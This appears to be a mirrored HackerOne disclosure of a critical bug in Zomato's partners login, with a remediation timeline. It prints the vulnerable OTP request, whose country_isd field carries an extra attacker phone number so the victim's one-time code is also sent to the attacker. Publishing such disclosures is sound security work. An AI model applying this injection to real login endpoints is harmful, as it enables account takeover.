HexBrain

Eternal · Report #990048

Improper Validation at Partners Login

Validstatus
criticalseverity
$2,000bounty
251upvotes
6 Oct 2021disclosed

Summary

Timeline

TimelineAction
Thu, 24 Sep 2020, 12:10 ISTResearcher submitted the report on H1 with initial severity as High.
Thu, 24 Sep 2020, 12:32 ISTFirst response - we asked for clarification via demonstration on attack scenarios. Parallelly, we began our own investigation.
Thu, 24 Sep 2020, 14:44 ISTResearcher provided additional clarification as requested earlier.
Thu, 24 Sep 2020, 21:59 ISTSecurity Team analyzed the scenarios and realized the attack scenarios were not as significant as claimed. We requested additional information to substantiate the scenarios.
Thu, 24 Sep 2020, 23:49 ISTSecurity Team was able to identify the issue independently, based on the preliminary information provided by the researcher.
Thu, 24 Sep 2020, 23:51 ISTResearcher shared additional context with new attack scenarios
Thu, 24 Sep 2020, 23:54 ISTSSeverity upgraded from High to Critical (9.8 CVSS) by the Security Team, as per the additional attack scenarios shared by the researcher.
Thu, 24 Sep 2020, 23:54 ISTSecurity Team was able to reproduce the issue. Report Triaged.
Thu, 24 Sep 2020, 23:56 ISTSecurity Team started an investigation to observe abuse caused by the vulnerability
Fri, 25 Sep 2020, 00:01 ISTMerchant Team proposed solution.
Fri, 25 Sep 2020, 00:10 ISTPatch raised for review.
Fri, 25 Sep 2020, 00:18 ISTSecurity Team confirmed the entities used in the demonstration by the researcher.
Fri, 25 Sep 2020, 00:26 ISTResearcher confirmed the entitled used in the demonstration.
Fri, 25 Sep 2020, 00:27 ISTFix Deployed on internal systems for testing.
Fri, 25 Sep 2020, 00:30 ISTSecurity Team confirmed vulnerability was not abused and did not impact any customer. More detailed investigation and log analysis of past events were carried out.
Fri, 25 Sep 2020, 00:38 ISTFix verified by Security Team.
Fri, 25 Sep 2020, 00:45 ISTFix merged in the codebase.
Fri, 25 Sep 2020, 09:30 ISTInitial investigation confirmed no abuse against the issue reported.
Fri, 25 Sep 2020, 10:00 ISTPanel decided and finalized on the bounty.
Fri, 25 Sep 2020, 10:14 ISTBounty awarded.
Fri, 25 Sep 2020, 10:30 ISTFix rolled out.
Fri, 25 Sep 2020, 10:35 ISTMerchant team began monitoring changes and continued to search for more issues.
Fri, 25 Sep 2020, 12:14 ISTAdditional investigation implemented to look for similar issues in our system.
Fri, 25 Sep 2020, 18:35 ISTMerchant team confirmed the presence of no abuse due to the highlighted issue in the past events.
Fri, 26 Sep 2020, 21:08 ISTSecurity Team reached out to the researcher to confirm the fix.
Fri, 26 Sep 2020, 21:20 ISTResearcher confirmed the fix.
Tue, 29 Sep 2020, 21:20 ISTSecurity Team shared the resolution report status timeline.
Wed, 30 Sep 2020, 15:20 ISTAll investigations completed, no cases of vulnerability abuse found, and no customer was impacted.
Fri, 02 Oct 2020, 15:20 ISTResolution timeline changed - we decided to keep the report open while the team looks for more similar scenarios in related systems.
Sat, 10 Oct 2020, 15:20 ISTResolution timeline finalized by the panel.
Mon, 12 Oct 2020, 09:30 ISTReport marked as resolved.
Mon, 12 Oct 2020, 10:48 ISTResearcher requested disclosure of the report.
Mon, 15 Oct 2020, 10:48 ISTReport moved to disclosure queue for decision.

Summary

The following request was vulnerable:

POST /merchant-api/dining/merchant-login/v1/send-otp HTTP/1.1
Host: www.zomato.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-zomato-csrft: CSRF
x-zomato-app-version: 2
services-access-token:
Content-Length: 79
Origin: https://www.zomato.com
Connection: close
Referer: https://www.zomato.com/partners
Cookie: XXXXXXX

{"res_id":"XXXXXXXX","country_isd":"918888888888,","phone_number":"XXXXXXXXXX"}

There were no strict checks on country_isd. Our backend generated the OTP for phone_number param but appended the country_isd parameter to the phone_number param before sending the SMS without any major checks. Our SMS provider supports multiple phone numbers separated by spaces. After appending the phone number will become: 918888888888,XXXXXXXXXX where 8888888888 is the attacker's number and phone_number is the victim's phone number.

Here the reporter was able to demonstrate an attack to get the OTP of the victim on both the attacker's number and the victim's number.

How it was found

The write-up for this report has not been downloaded yet, or the program disclosed it without one. Read it on HackerOne.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original